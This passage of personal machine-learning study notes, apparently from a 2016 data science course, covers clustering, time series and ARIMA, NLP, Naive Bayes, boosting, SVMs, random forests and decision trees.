randomly assigning each data point to a cluster.\\n - computer the centroid of the cluster\\n - re-assign the data points to the nearest centroid\\n - recompute centroid\\n - reassign data points...and repeat until no further change.\\n - Techniques to choose K, or to \\\"learn\\\" k\\n - Elbow Method: Compute within cluster variation (sum of squares) for several values of K. Thus there often will be a k after which the decrease in variation decreases. So you pick the elbow. But there is not always an obvious elbow on which to pick k.\\n - GAP statistics\\n - Silhouette Coefficient\\n - Curse of Dimensionality\\n - Since we're computing distances between points in k means, in high dimensional spaces, distances become far apart in high dimensions.\\n - Amount of data needed to compensate for high dimensional data increases quickly\\n 4. Hierarchical Clustering\\n - Algorithm: each point is its own cluster, merge closest clusters, and end when all points are in a single cluster.\\n - don't have to choose k at the start, number of groups depends on where we cut the dendrogram\\n - Several distance measures to consider using, resulting in different dendrograms. Most common are complete and average\\n\\n\\n160630 Time Series\\n 1. Reading notes:\\n 1. One main goal is to account for the correlated nature of points, which explains their relative \\\"smoothness\\\" in time series data. So try to describe some mathematical model to describe the appearance of the data observed.\\n 2. Methods include using white noise,\\n -moving averages: replaces a white noise series w-sub-t with an average of its current value and its immediate neighbors past and future.\\n - Autoregressive- uses the two previous values\\n - Random Walk with Drift - random white noise movement with a drift (slope?) factor\\n 2. Time Series Lecture: analysis of experimental datat observed over time, usually equally spaced.\\n - Conventional statistical methods are restricted given the correlation of adjacent time points; given assumption of independent and identically distributed data\\n - Overal: find a pattern from past data at hand, and forcast into the future\\n - Assumptions is that the pattern will continue\\n 3. Components of a time series\\n - Trend - long run up and down of the series.\\n - Cycle: upward/downward around the trend\\n - Seasonal Variations: patterns following yearly patterns\\n - Irregular Variation: remaining erratic movements that can not be accounted for\\n - Goal is to estimate the trend, cycle, seasonal components of a time series so all that's left is irregular fluctuations\\n 4. Time Series Regression\\n - Linear regression featurized time: discarding assumption of normalized residuals\\n - Literally add a factor to the linear model for trend\\n - Similarly model seasonal variable using seasonal or seasonal-dummy variables.\\n - Model L seasons in SNsubT using L-1 indicator variables S1 through SL-1\\n - SSS10 Time Series Trend Series\\n - Binning of time series data (past) is informed by the goal of forecasting. What do you want to predict?\\n - Additive Decomposition: y = TR + SN + CL + IR , defined as trend, seasonal, cyclical and irregular factors.\\n - Estimate SN t by grouping seasons and averaging and making it zero scale.\\n - Estimate TR t by subtracting out seasonalized estimates , and fit a standard regression\\n - Estimate CL t by removing the season and trend, and perform a moving average\\n - The average of irregular fluctuations will appx be zero\\n - Estimate IR t by looking at the residual after removing the main components\\n - We assume that hte pattern continues into the future and that there is no pattern in the irregular component: therefore we predict IR t to be zero, thus the point estimate of IR at time t is zero.\\n - Thus forecast of point estimate at time t is y = tr + sn + cl (all sub t).\\n - Can give a prediction interval y +/- B sub (t, alpha), B is the error bound in a prediction interval\\n - Key assumption of additive decomposition is additive variation over time. If this doesn't hold and you can't stabilize the variance, can try multiplicative decomposition\\n - Smoothing methods\\n - Simple exponential smoothing: Used when there is no significant linear trend (ie slope), but mean is changing over time\\n - If the mean remains constant, then the standard linear model can be used, giving equal weight to all time points\\n - If mean is changing slowly may better capture trend if we can give more weight to more recent observations than older observations, which is simple exponential smooothing.\\n - Optimize value of alpha (which weights most recent data value)\\n - SSS11 Exponential Smoothing\\n - SSS12 Exponential Smoothing equation: So for more distant observations (x from current), the weight (alpha(1-alpha)^x) gets driven to zero, so more recent observations have a higher weight\\n - alpha is a hyperparameter to optimize by minimizing sum of squared error SSE\\n - SSS13 The error bound for more distant observations (farther from today) will get larger. Since when alpha is large, the error term (Tau -1) x alpha squared gets driven to zero\\n - Hold's Trend Corrected Exponential Smoothing : allows for modeling both a linear trend (slope) that changes over time\\n - Allows modeling of the mean and the growth rate (slope or linear trend) to change with time.\\n - Allows us to take int o account growth rate, by adding a factor \\\"b\\\".\\n - thus have both alpha and gamma hyperparameters\\n - SSS13-2 Holt's Exponential Smoothing\\n - Holt Winter's Exponential Smoothing : adds a component of seasonality to the linear trend/slope.\\n - Similar to Holts, but it additionally takes into account an additional seasonal factor\\n - Note that you ned to have data of enough seasons in order for this to work\\n 5. ARIMA:\\n The Box-Jenkins Methodology applies autoregressive moving average models to find the best fit of time series based on past values.\\n 1. Approach:\\n - SSS13-3 ARIMA model approach\\n - Model Identification\\n\\n - The autocorrelation function is the correlation between the current time and the time x times ago. Uses pearson correlation coefficient\\n - Partial auto- correlation, is the correlation between two separated points with the effect of the intervening points conditioned out. Almost like multivaraible linear regression with intervening time points as variables.\\n - SSS13-4 Partial Autocorrelation\\n - See ipython notebook notes for examples of autocorrelation and partial autocorrelation plots SSS13-5 Autocorrelation/partial correlation plots\\n - So note the first time point 0, correlation is 1 (since correlated with itself), but for autocorrelation, as you get farther out, correlation decreases.\\n - For partial autocorrelation, after taking into account the first lag, the second lag actually has little additional correlation.\\n - Stationary Time Series:\\n - A time series for which the statistical behavior of a set of observations is identifical to that of the shifted set of observations for any collection of time points for any shift h (lag). This is a VERY STRONG ASSUMPTOIN.\\n - So the weak stationary assumption is that this holds for the first two moments : mean and covariance (with it self h-lags away). These are less reliant on time.\\n - In reality, most time series are not stationary.\\n - So how to modify the time-series to improve the approximation of stationarity\\n - Detrending - constraint 1\\n - differencing - constraint 1\\n - transformation - constraint 2\\n - These are methods to try to turn nonstationary data into stationary data so we can model it using ARIMA, given the ARIMA asusmptions of stationary data\\n - Use Autocorrelation (AC) or partial AC plots to compare the how well each method (detrending or differecing)\\n - for deternding, plot the residuals on an autocorrelation plot to see whether you adequately removed autocorrelation\\n - So keep examining autocorrelation plots to see whether you've adequately addressed the stationarity assumption using your methods above: deternding, differencing, transformation.\\n - IN J&J example, needed to take log, difference and difference the seasonality (every 4th quarter), before we acheived statioarity.\\n - NOte, detrending via linear regression may allow us to take into account multiple variables other than time in the modeling (since ARIMA can't do this).\\n - Once we achieve stationarity, we take a look at the timepoint where decay is achieved at timepoint k. This will help determine how far back to consider correlation between observations.\\n 6. Autoregresive Models :\\n - Autoregressive-po models is based on the idea that the present value of the series can be explained as a function of the p past values. So use PACF plot to determine p, see slides.\\n 7. Moving Average Model:\\n - assumes that white noise is combined linearly to form the observed data.\\n - based on prior errors\\n - Use ACF plot to determine q,\\n 8. Autoregressive Moving Average Model ARMA:\\n - So ACF will identify the q parameter\\n - PACF will identify the p parameter\\n 9. ARIMA :\\n - Additionally takes into account for d, the number of differences needed to achieve stationary\\n - This then provides the model by whcih you can predict future values (your model can) as a function of x-prior data points and coefficients \\n 10. Seasonal differences can also be modeled in S-ARIMA.\\n 11. Fit the best candidate models and compare how models perform using AIC or BIC comparison\\n 12. After lab learnings:\\n A. It sounds like the approach is as follows: view the AC and PAC plots to get a sense of the k-units lag from the PAC (p) and the AC (q) plots.\\n B. Next step is to make data stationary: Can play with detrending, but ultimately, it seems differencing is the better technique to try to achieve stationarity of the data. However, be aware of overdifferencing\\n - you detrend (often) by fitting an OLS to the data, and plotting ACF, and PACF plots to the residuals\\n - second order differencing is the equivalent of a second order derivative of the data\\n C. Once you've achieved stationarity of the data via differencing and or detrending, then you need to determine the p and q parameters by looking at the PACF and ACF plots and noting lag.\\n - if you notice lag in either PACF or ACF plots, these will inform the remaining parameters p and q respectively in your ARIMA model, based on the number of k-lag days you observe as significant in the plots before they drop within the error bounds.\\n - Note that your choice of the seasonality parameter L will seem to (i believe) inform the numbers you choose for d and maybe little p/q, since if L is 7, then a D of 1 I believe suggests a 7x1 differencing that is significant.\\n - Less clear on how to pick P/Q relative to p/q and even D relative to d.\\n D. Then plug all these parameters into ARMIA and then tune further based on ACF and PACF plots until adequate.\\n 4. Time Series Review Moses 7-5-16\\n - For the p, partial autocorrelation, you'll only see the lag at that point (ie k=7), in contrast to the autocorrelation where you'll see the lag up TO that k value.\\n -\\n\\n\\n\\n\\n\\n160629 Model Comparision summary\\n 1. RF :\\n - Fast, works well out of the box\\n - Sensible feature importances\\n - Accurate\\n 2. Gradient Boosting\\n - More accurate, but requires much more tuning of hyperparameters compared to RF\\n - Partial dependency plots can try to get at the interpretability of the relative importance of the features\\n 3. Logistic Regression\\n - More interpretable\\n - Con: Intperetabilty becomes harder with categorical variables and making dummy variables, because everything is with respect to the baseline...even for OTHER variables\\n 4. Performance metric:\\n - Choose based on priority to your application at hand: ie minimizing false negatives (ie churn), or other.\\n - Recall\\n - F1\\n - Accuracy might have been bad in this situation because of the imbalanced classes (churn was 60%)\\n - Accuracy may also be bad if there is a cost imbalance\\n 5. Leakage: an example would be somehow leaving target data in a derived variable within the data. Ie calculating churn using last ride taken, and leaving in last ride taken.\\n 6. Possible starter paramter ranges for grid search over Gradient Boosting Trees:\\n learnign rate 0.1-0.01\\n max depth 4-6\\n min sample 3,17\\n max features 1-0.1\\n n_estimators 100\\n 7. BIG UNDERSTANDINGS:\\n - SSS14 CV and Test Train Split\\n - cross validation is generally only ever used with training data. Use this to obtain an estimate of what your test error might be, without ever using your test data (until the very end) to train your model.\\n - For grid search and cross_val_score, you only ever need to feed this training data. Never really feed it test data\\n - Select best model after you've tuned your parameters by comparing cross_val_score on trainig data only.\\n - Once you've selected your best model, THEN you can use that model (with set coefficients) on test data to obtain an estimate of test error. This generates the parameters of accuracy and or other relevant metrics that you can tell others about to describe your model.\\n - Then, if desired, you can refit coefficients on the entire data set before using this to predict future data.\\n\\n\\n\\n160629 Michelle Career lecture\\n 1. Resume ideas:\\n Programming: Python, Pandas, Numpy, Scipy, sklearn, NLTK\\n Visualization: Matplotlib, seaborn, plot.ly\\n Databases: SQL, MongoDB\\n Distributed Systems: Spark, MapReduce,\\n\\n\\n160628 Intro to Natural Language Processing\\n 1. Methods to featurize documents of text\\n A. Bag of words: create a vector of word counts, regardless of punctuation, capitaliation\\n - Order of words matter here\\n - sklearn has a vectorizer fnction for bag of words\\n - once documents have features vectorized, can compare documents\\n - using euclidean distance, you look at vector-distance, which may not make intuitive sense in the sense of a vector of different length but pointing in the same direction\\n - cosine similarity : looks at the direction of the vectors rather than length/distance. thus this is often a more useful classifier.\\n - SSS8 Cosine similarity\\n - Bag of words is naive, just word counts, with equal word having equal weighting. Sense that word counts should be adjusted based on frequency.\\n B. \\\"TF*IDF\\\" : Term Frequency, Inverse Document Frequency:\\n - Words in only in one document (rare), have higher weighting. Words found in every document have lower weighting.\\n - Note, similar in equation to information/entropy from classification trees: ln(1/p).\\n - Basically rank words based on amount of information gain\\n - SSS9 Inverse Document Frequency\\n - Often more useful than bag of words, sklearn has tfidf vectorizer\\n C. Feature Engineering for text\\n - Tokenize (to turn words into their category, perhaps changing posessives to original word, expanding contractions aren't to are not etc)\\n - Remove stop words: removing words offering less information such as \\\"the,\\\" there are standard lists of stop words.\\n - Stemming : walked -> walk\\n - Lemmatizing: people -> person. There are standard lemmatizers\\n - N-grams: tokenizing several words together: \\\"the cat\\\", \\\"cat in\\\". Serves to expand the feature space. Takes into account word proximity\\n - Skip Grams: does N-grams, but skips x words. So categorizes proximity of words.\\n - Dependency/probabalistic parsing: takes into account word dependencies on each other, some grammatical/syntactic associations between words\\n\\n160628 Naive Bayes Lectures\\n 1. Maximum A Posteriori : predicts the outcome most likely under the posterior distribution.\\n - Given a prior distribution P(H), and the likelihood of observing some data X across a set of hypotheses, we predict the hypothesis that maximizes the probability of P(H given X).\\n - Since P(X) does not depend on the hypothesis, MAP estimation works by maximizing the numerator P(X|H)xP(H). \\n - SSS7 Maximum A Posteriori\\n - Conditional independence only holds between events A and B when C is true. It is a key assumption about the features in the Naive Bayes Model. A and B are not independent when C is not true.\\n - Bayes is a Generative model:\\n - Prior models are discriminative model, estimating the conditional distribution P(Y|X).\\n - Generative models: estimates the joint distribution of P(Y|X) and P(X). So in addition to estimating the distribution of the target, is also estimates the population distribution of the features X.\\n - This estimated joint distribution allows us to generate new synthetic data by sampling from the join distribution.\\n - Naive assumption of Naive bayes: that each of the features are conditionally independent given Y. Though this is not always true, this does not generally change the MAP estimate.\\n 2. Applying Naive Bayes to Document classification\\n - Multinomial event model. Assumes that a category of ie book type have a higher probability of predictors ie words, than other types.\\n - The Prior Distribution is estimated from a sample or corpus of documents. The probability of any class is estimated to be those from the sample population.\\n - The conditional distribution represent the frequency of each vocabulary word in each class of document. Estimated by counting number of times a word shows up in a given class, divided by the total length of documents in that class. (So frequency of words in a give class of document).\\n - The naive bayes model for text classification is the product of the conditional probabilities of each word given a type of document and the probability of that document (the product over all words). And the hypothesized document class that maximizes this probability is what is predicted by the Naive Bayes model.\\n - Risk of numerical underflow. Since each probability in Naive Bayes for a given document (ie 2000 words) is small, there is a risk that each probability is too small for a computer to easily represent.\\n - Log transformation of the probabilities can get around this.\\n - Laplace Smoothing. Sometimes new words are found in the test set did not appear in that class of the training set. Thus, the solution is to add 1 to each word's frequency, to get around this.\\n - Unknown words: If a new words was not seen in any class throughout the trainign set, this can also cause a problem. Can add a generic unknown word to the vocabulary and give it a small probability.\\n - In theory, can also use a number of distributions for Naive Bayes.\\n - Naive Bayes Pros:\\n - Good with wide data, with more features than observations.\\n - Fast to train, and good at online learning\\n - Simple to implement.\\n - Cons:\\n - Can be hampered by correlated features\\n - Probabalistic estimates are unreliable when class estimates are correct given the naive assumption.\\n - Some other models can perform better, with better accuracy.\\n\\n\\n160627 Web Scraping\\n 1. NoSQL databases\\n - Not Only SQL: MongoDB is a flavor of NoSQL.\\n - NoSQL paradigm is schemaless, which is an advantage in some cases\\n - MongoDB is a document-oriented DBMS\\n - Collections in Mongo are like dictionaries in python\\n - JSON Javascript Object Notation, formalized formatting for their objects/dictionaries.\\n - Can have data redundancies in documents (non-normalized data), as Mongo does not enforce normalized data\\n - A change to database generally results in needing to change many documents\\n - Since there is redundancy, simple queries are generally faster, but complex queries are often slower.\\n\\n\\n\\n\\n160624 Chat with Michelle\\n\\n- To get valuation, ROT is to multiply seed amount by 5 (ie they got 20% of the company’s total estimated valuation)\\n- For A round, can multiply by 3-4, ie investors got 25%-30% of the company.\\n- But basically try to ask for the actual valuation or preferred share stock price to to calculate tax burden.\\n\\n\\n160624 Imbalanced classes\\n--> Ways around it:\\n 1. Cost sensitive learning\\n - Thresholding: plot expected profit over each threshold, then can select the threshold with the highest profit\\n - Some models have explicit cost functions that can be modified to incorporate classification cost\\n - less frequently used\\n 2. Sampling methods\\n - Undersampling: randomly discards majority class observations\\n - Works, and can reduce runtime on large datasets, but discards potentially important observations.\\n - Oversampling: randomly replicate minority class observations to balance the training sample\\n - Doesn't discard information, but is likely to overfit.\\n - SMOTE : Synthetic Minority Oversampling Technique: Generates new observations from minority class.\\n - Basically takes a random KNN of the minority class\\n - In the imaginary x1-x2 (can be extended to x-i) grid space for the two selected points, it will generate a random point somewhere between those two points, varying on all features x1-xi.\\n - Create x amount of these points to \\\"oversample\\\" the minority class.\\n - CV to tune the k value of KNN for smote\\n - Sort of assumes minority class points are clustered near each other, and can run into problems when they are not.\\n - If minority class points are also clustered around the majority class points, ddthe SMOTE procedure could definitely weaken the ability to classify.\\n - So there are certainly limitations with this method\\n 3. Review of Metrics\\n - F1 score: harmonic mean of precision and recall\\n - ROC: If you know cost/benefit matrix, or a specific target precision/recall don't use AUC, since you can choose threshold to maximize PROFIT or those specific metrics.\\n - AUC is more useful when exploring models to choose the best one\\n\\n\\n160623 Boosting\\n 1. Bias Variance Tradeoff:\\n A. For regression trees:\\n - Decrease bias by building deep trees\\n - Decrease variance by using bootstrapped datasets such as in bagging, limiting features available at each node, pruning the tree, and majority vote ensembeling votes from various trees (averaging across trees decreases variance)\\n B. Test methods of decreasing bias or variance by CV\\n - In bagged decision trees, can use out of bag estimation to try to estimate external generalizability.\\n 2. Boosting Big Picture\\n A. Attempts to make certain trees \\\"become experts\\\" in certain aspects of the data\\n B. Boosting combines a sequence of weak learners to form a strong learner. Force it to be weak by limiting how deep it can be.\\n C. Each tree learner fits error from the prior learner. Thus its an additive model of weak learners. \\\"Forward stage-wise additive modeling\\\"\\n 3. Ada Boost \\\"Adaptive Boosting\\\"\\n - Each tree is expert on attacking error of its predecessor. So upweight misclassified points.\\n 4. Gradient boosted regression trees\\n - Each successive tree fits to the residuals of previous tree.\\n - Therefore each subsequent tree truly becomes an expert in the errors of the prior tree\\n - And the final prediction is an additive sum of the \\\"prediction\\\" for each tree.\\n - Gradient Boosting SSS1.\\n - The weight beta-m is the sum of the predictions of trees, the weight is higher for later trees, since they can\\n - Note this is prone to overfit, since we're fitting to the errors of prior trees. So use CV to determine when to stop.\\n - Shallow trees are higher bias, lower variance models. (High bias since shallow, low variance because if we took another sample of data from the population, another 3 split tree would look similar)\\n - So by limiting sequential trees to 3 splits, you effectively hone in on the highest error regions of the prior tree, making splits that decrease error (MSE) the most for any given tree.\\n - ??What if we bag boosted models?\\n - Random forest lends itself for running on parallel computers or cores on a computer. Sequential tree methods such as Gradient Boosting or AdaBoost can not take advantage of parallel processing.\\n - In a Random Forest, as you build more trees, the test error should decrease and eventually level off. In Boosting, as you build more trees, the test error should decrease and level off, but then increase if you boost too much. However sklearn describes that GB is fairly robust to overfitting (ie test error increasing)\\n 5. Parameter tuning\\n - Could set a shrinking learning rate, \\\"SHRINKAGE\\\", meaning that we'll only apply 20% of what each subsequent tree suggests to do. Can prevent over fitting.\\n - This will require higher n_estimators/trees, because it by definition learns much slower.\\n - Ultimately will lead to lower test error with shrinkage. But requires more trees to get there.\\n - Since this generally works: so one strategy is to tend to pick the max number of computationally possible trees to make (given time) and search over several hyperparameters discussed here via CV.\\n - one of the hyperparameters will be learning rate\\n - Parameter tune tree structure:\\n - Max depth: controls degree of interactions between variables; often not larger than 4-6\\n - Min samples per leaf: limits overfitting\\n - Number of trees should also be tuned, because if you have too many, test error tends to increase, due to overfitting\\n - Note that the SHRINKAGE parameter (learning rate in GB) is very important, and if not included (ie for stochastic gradient boosting below), can lead to unstable estimates because full votes from subsamples tend to go in a worse direction. so need to limit their vote\\n 6. Stochastic gradient boosting\\n - So fit to a fraction of the total data at each step\\n - Also fit a random subsample of features (like random forests)\\n - In Sklearn's implementation of gradient boosting, max_features limits the features space explored for best split at each node.\\n - These two techniques lead to both improved accuracy and decreased computational time\\n - Often need to ensure a Shrinkage parameter for these to work.\\n 7. sklearn.grid_search\\n - input dictionary of hyperparameters and a list of their options.\\n - Will cross-validate search over permutations of parameters and return the best combinations of parameter.\\n - SKlearn recommends: setting n_estimators as high as possible (3000,5000)\\n - Tune all hyperparameters via grid search\\n - Further optimize n-estimators and learning rate\\n - Can review Rs's gbm package documentation\\n - You must tune the model to get good performance\\n 8. Diagnostics\\n A. Ways to infer feature importance from black box models\\n - Partial dependency plots\\n - Take your feature/variable x1 you want to study. Change all data points x1-i to x1-j to values x1i through j sequentially. IE CHANGE ALL VALUES to x1-i once, then X1-i2 once etc.\\n - record the predicted output y of your model\\n - then can generate a plot for a given feature of how your model predicts y to change based on numeric changes of feature x1.\\n - can repeat for all features and obtain a sense of the importance of each feature in your model. ie some inferential power.\\n - can also do partial dependence plots for 2 variable interactions. to try to see if there is interaction by slope of plane?? not sure\\n - Variable importance measures\\n - Recall we discussed for bagged/RF trees, decrease in RSS for a given predictor averaged over all trees. Or change in Gini index for a given predictor, averaged.\\n - Sensitivity analysis, where you sequentially change the value of a feature and see response change (similar to partial dependency plots)\\n 9. AdaBoost\\n - Significance of a given tree to the final model is weighted by the amount of error it demonstrates.\\n - So it effectively upweights trees that perform better, whcih will be later trees in many cases.\\n - error is defined as the number of mis-classifications over total predictions\\n - AdaBoost Formula SSS2\\n 10. XG Boost\\n - For every given feature, keep only the percentiles of that feature, which greatly reduces the space over which the algorithm needs to decide where to split.\\n - but you still keep all observations of the data.\\n - so you get computational speed gains to grow a tree\\n - This serves as a form of regularization, resulting in a slightly less complex model and less variance.\\n\\n\\n\\n\\n\\n ```\\n ***MAKE A DECISION TREE OF THE HIERARCHY OF TREE BASED METHODS, FROM DECISION TREE TO BAGGING TO RANDOM FOREST TO BOOSTING. TO BEST UNDERSTAND THESE METHODS\\n ```\\n\\n\\n\\n ???max depth in boosting decreases variance?\\n ???review tree HIERARCHY\\n ???stochastic gradient boosting defined by max features and subsample only?\\n\\n\\n\\n\\n\\n160622 Liga Data lecture\\n 1. Perform sensitivity analysis (change values of each data point for each variable and see the effect on output) to help determine the most important features. See sensivity_analysis on wiki. OFAT\\n 2. Concept of Dependent by Category DBC:\\n - Of the top 10 or so variables, systematically create hierarchical interactions.\\n - Maintain a matrix of the calculation of the importance of each of the interaction variables (ie via sensitivity analysis method above)\\n - This can often help identify the most important features for a model (the interactions), since the important interactions will often be from the most important features (independently) and aren't too deep (one or two, rarely 3+)\\n - Can also update the matrix when new data comes in to perform a model \\\"refresh\\\" rather than a full retrain. Not sure, but this may also help to allow selection of other interactions based on the new data, by comparing the pre-post performance of the interactions performance on your matrix\\n - Can help with a model in production to refresh faster without too much investment of time/effort\\n 3. The larger the gap between training and test performance suggests worse generalizability of the model. So try to create a gap-adjusted performance metric to account for this. Want models to be generalizable, so don't just consider test performance\\n 4. http://dmg.org/ for a list of pmml data mining software, analysis methods and pmml compatability, which can help with production, since pmml is a portable code standard?\\n\\n\\n\\n160622 Support Vector Machines\\n 1. Support vector classifier\\n - need to scale data\\n - known as a \\\"maximal margin classifier\\\"\\n - works based on defining a hyperplane to the data (only works with perfectly separable data) which has a normal vector w.\\n - The dot product of the normal vector w with unknown point u: if the sign is positive or negative, it will classify the point to one side or the other of the hyperplane.\\n - In order to make the hyperplane most generalizable, you want to maximize the distance between the nearest points and the hyperplane.\\n - Do this by setting up a margin around the hyperplane and this effectively is a constraint.\\n - How to you optimize an equation with a constraint? Several ways but LaGrangian? is one way. \\n - Essentially we want to solve for w, which defines the orientation of the hyperplane, whcih is the important part.\\n - b defines the distance of the hyperplane from the origin (constant? for a given plane).\\n - So the optimization equation solves for alphas, relative to y (labels) and x's (points).\\n - alpha goes to zero for all NON SUPPORT vector points. Therefore in w = sum(alpha-i, y-i, x-i), alpha is only relevant for the points closes to the line/margin.\\n - The solution for alphas allow you to solve for w (normal vector of the hyperplane) with the equation above.\\n - Since x's and y's only matter for support vector points (since alphas for all other points go to zero), SVC can be a CONCISE REPRESENTATION of a large data set.\\n - The optimization equation, however, is hard/slow to solve. Which is a limitation.\\n - There are inherent properties of SVT which limit overfitting\\n - SVMs shine with moderately sized data, given its benefits, discussed below, but is slow/less optimal for very large data sets.\\n 2. Slack variable\\n - Adding a slack variable which establishes a \\\"budget\\\" for how many points can be on the \\\"wrong\\\" side of the margin. Slack variable is \\\"squiggle\\\" in the lecture.\\n - This allows for SVC to function with (real world) non separable data\\n - Do this by changing the hyperparameter C in SVC in sklearn, which denotes the cost function. The smaller it is, the wider the margins are. The larger it is, it will converge on the smallest road\\n - All points within the margin are now considered support vectors\\n - Since w = sum(alpha * xi * yi), as the margins change, and different numbers of support vectors are used, the slope of the dividing hyperplane will change, since the slope is determined by the normal vector w.\\n 3. Kernals:\\n - Kernals allow us to get the result of the dot product of vectors after being transformed to a higher dimensional space without needing to know what the transformation is.\\n - the kernals transform vectors to an \\\"infinite dimensional\\\" space. thus it is possible to find a boundary that classifies any point, in theory.\\n - In other words, it allows us to fit SVCs to very non-linear boundaries to classify data.\\n - Note that it is possible to overfit data using this, ie drawing a boundary around every single data point = not generalizable.\\n - Kernals most often used are: linear, polynomial of degree d and radial basis function (gaussian) 'RBF'\\n - RBF is the commonly used kernal though prone to overfitting\\n - As you increase gamma (in SVC in SKlearn), the variance around each boundry decreases (more likely to overfit)\\n - As C increases, model tries to not get points wrong or misclassified, so again, more likley to overfit.\\n - A Grid Search: calculate validation accuracies (crossvalidation) for changing C and gamma hyperparameters, to identify the optimal values of the hyperparameters\\n 4. For multiple classes, create an SVM model for one versus all or pairwise (one versus one, pairwise).\\n -Then predict based on majority vote based on all the models\\n\\n\\n160621 Random Forest\\n 1. Review of Decision Trees\\n - In regression trees, the tree effectively performs axis-parallel splits, cordoning off the data into regions defined by lines parallel to the (x,y,z etc) axis.\\n - This is inherently different from linear regression models which speak to their strengths in some settings\\n - How to regularize decision trees: Pre and post pruning\\n - Post pruning; after fitting trees deeply, decide threshold to prune back tree. - Ie one threshold is to prune back to minimum of data in a terminal node > the p available features\\n - Pre pruning: define a penalty term alpha where alpha * abs(#terminal nodes) is a penalty term added to the MSE, and minimize this equation. Cross validate to determine alpha. ** This is used most commonly **\\n - * However, ensemble methods to build trees ie random forest will almost certainly do better than either pre/post pruning *\\n - Recall that in classification trees, chose an error metric such as Gini or Entropy error functions, both of which perform very similarly. In regression trees, use RSS to calculate information gain.\\n - Making predictions, at each terminal node, for regression: predict using average. For classification: predict the most commonly occurring class.\\n 2. Pros and Cons of decision trees\\n - Pros: how we think, easy to explain\\n - Cons: tend to overfit--do not strike balance of bias/variance tradeoff well, computationally intense\\n - Variance of a deep tree is high (since a second set of data produced from the same distribution will likely perform poorly); ie doesn't generalize well. Though bias is low for the training data (ie fits training data well)\\n - Less deep trees have higher bias\\n 3. Bagging: Bootstrap AGgregatING \\n - growing a lot of trees and adding them together, which can serve to average away the variance (CLT)\\n - Use bootstrapping such that trees grown will be slightly different (since data is slightly differet). Becaues otherwise, tree growing for a given set of data is deterministic, ie would make the same tree over and over.\\n - Inherently paralellizable, can have multiple cores/computers building a set of trees\\n - Recall that in each bootstrapped sample, 2/3 of the features are shared between the different trees grown from different boostrapped samples.\\n - Out of bag error: side-effect of building model from boostrapped sample is that you have 1/3 of the data not used for each bootstrapped sample that can be used for test-error estimation (ie an inherent validation set).\\n - Can use the 1/3 data and evaluate them using the trees not grown from that boostrapped sample.\\n 4. Random Forests:\\n - BUILDS ON BAGGING: so you still take bootstrapped samples of the data (typically the same number of samples as the original data set).\\n - At each split, consider a random selection of m predictors at each split, in each tree. Typically n = sqrt(p). Ultimately tune p this with cross validation.\\n - Leads to decorrelation of the trees, which leads to improved performance over bagging. \\n - BIG IMPROVEMENT>>>> THIS Serves to decrease variance of the total model.\\n - RF Bias Variance SSS4\\n - As you build more trees in RF, bias stabilizes and variance asymptotically declines. Thus it is better to build as many trees as possible. The real limitation is computational time. And there is ultimtely a point beyond which growing more trees is essentially futile. So test for this via CV.\\n A. Feature Importance\\n - How to determine?\\n - Frequency of use as a split feature?\\n - Record total amount of RSS decrease (or Gini index) for a given predictor averaged over all B trees. Larger value indicates importance.\\n - To evaluate the importance of the jth variable, record OOB accuracy of the model. Then shuffle (permute) all values of the jth variable across all the samples. Re-compute the accuracy. The lower it gets, the more important the jth variable was. Repeat for each var and rank the importance of the var.\\n - Other ways (Sklearn methods): higher in the tree, or the expected fraction of data points that reach a node are both surrogates\\n B. Bias Variance Tradeoff\\n - Since variance is proportional to pairwise correlation p, and inversely proportional to the average of B-trees made in a RF, the RF procedure serves to decrease variance by averaging over B trees. p goes down and B goes up.\\n - Variance RF = p * six^2 + ((1-p)/B) * sig^2\\n - Information Gain SSS3\\n - SSS6 Bias Variance Tradeoff\\n - Averaging over many RF trees serves to decrease variance of the model.\\n C. Tuning\\n - Hyperparameter: parameter set ahead of time, what the structure of the model is. It is not learned by the model to achieve best fit. Often choose them via cross validation.\\n - hyperparameter in RF is m, describing how many features are (radomly) available at each node when building each tree of the RF.\\n - Select via CV\\n - You can test several hyperparameters via CV, but RF has very many ~14, so adding each becomes more complicated. So likely need to decide some using heuristics like: for classification m= sqrt(p) or regression m= p/3.\\n - Note that tree depth (another hyperparameter for RF), if too deep, RF can overfit.\\n - Can use Feature Importance techniques above to try to select features of greatest importance to include when building trees. Becomes an issue if m is small, then this leads to decorrelated trees (good for low variance), but if unimportant variables >> important variables, model will not learn. Again, reinforces why important to tune m via CV which should identify this.\\n - Seems like the above also seems to be augmented if number of trees grown is low relative to number of features.\\n D. Other Issues\\n - Can weight predictor classes using a user-specified loss matrix. Ie certain pieces of information are more important or prefer to err on false positive etc.\\n - Missing data: many ways to deal with it. But consider setting to nonsensical value so you don't include \\\"false\\\" data in model.\\n - Note, can use cross-validation to determine best way to deal with missing data from several candidate methods\\n - Random forest lends itself for running on paralell computers or cores on a computer. Sequential tree methods such as Gradient Boosting or AdaBoost can not take advantage of paralel processing.\\n\\n\\n160620 NonParametric Learners\\n 1. K Nearest Neighbors\\n - Sort the training points x by increasing distance from new point\\n - predict the majority label of the k closest points; select k as a hyperparameter based on experimentation or prior knowledge.\\n - if k is too small, tend to be overfit (model doens't generalize well), if k is too large, will be insensitive. the extreme case is that if you use the entire population n as k, you will always predict the majority class\\n - general rule, can start with k = sqrt(n)\\n - important to SCALE features, since we're calculating the distance between the features, we need to have them on the same scale, otherwise, that with the higher range will dominate the distance equation, making the other feature irrelevant.\\n - Can implement weighted voting, where closer points are weighted more\\n 2. Problems\\n - The curse of dimensionality: knn works well for lower dimensional spaces, but as d>5, becomes more problematic. Becuase the nearest \\\"neighbor\\\" become far away in many dimensions.\\n - Predicting can be slow\\n - Difficulty with imbalanced classes\\n - Can consider weighting or sampling schemes to counteract this. Ie in a fraud detection case where you have 0.1% of the sample as fraud instances, and the rest are valid instances, you can downsample (randomly) the valid cases when training your model.\\n - categorical features don't work well\\n 3. Decision Trees\\n - Calculate the entropy of the dataset at the root node, \\\"before the first split.\\\"\\n - Perform a split of the data on every available feature (x), and calculate the entropy before and after. The Information Gain is entropy before - after. Then choose a split based on the highest information gain.\\n - H(S) \\\"entropy\\\" = - Sum of probability(S) * log 2 probability(S)\\n - Information gain = H(S) - sum\\n - This method is top-down and greedy, making a decision based on the best information available at the time.\\n - note that the \\\"greedy\\\" quality may mean that you do not make the decision that optimizes the overall performance. Will not revisit split decisions.\\n - Gini index: another splitting measure similar to the entropy equation.\\n - sum(probability(S)(1-probability(S))\\n - The misclassification rate is also available in sklearn, but has a linear slope up to the maximum of 0.5, so in practice does not work as well as gini or entropy.\\n 4. Pros cons\\n - The tree will fit every single observation, so it will have a tendency to overfit the data\\n - Prune the true to 